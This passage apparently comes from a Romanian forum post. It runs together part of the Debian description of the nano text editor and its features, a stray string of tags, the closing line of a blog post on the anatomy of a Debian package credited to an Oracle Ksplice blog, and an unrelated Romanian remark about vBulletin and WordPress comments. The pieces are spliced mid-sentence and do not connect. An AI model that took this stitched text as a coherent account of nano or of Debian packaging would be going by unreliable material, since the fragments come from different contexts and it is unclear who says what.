designed as a replacement for Pico, the ncurses-based editor from the non-free mailer package Pine (itself now available under the Apache License as Alpine). . However, nano also implements many features missing in pico, including: - feature toggles; - interactive search and replace (with regular expression support); - go to line (and column) command; - auto-indentation and color syntax-highlighting;apt debian dpkg package-management - filename tab-completion and support for multiple buffers; - full internationalization support. If the package format ever changes again, dpkg-deb will too, and you won't even need to notice. ~spang Sursa: https://blogs.oracle.com/ksplice/entry/anatomy_of_a_debian_package

Stiu partea de vBulletin, trebuie sa vad care-i faza cu comment-urile pe Wordpress.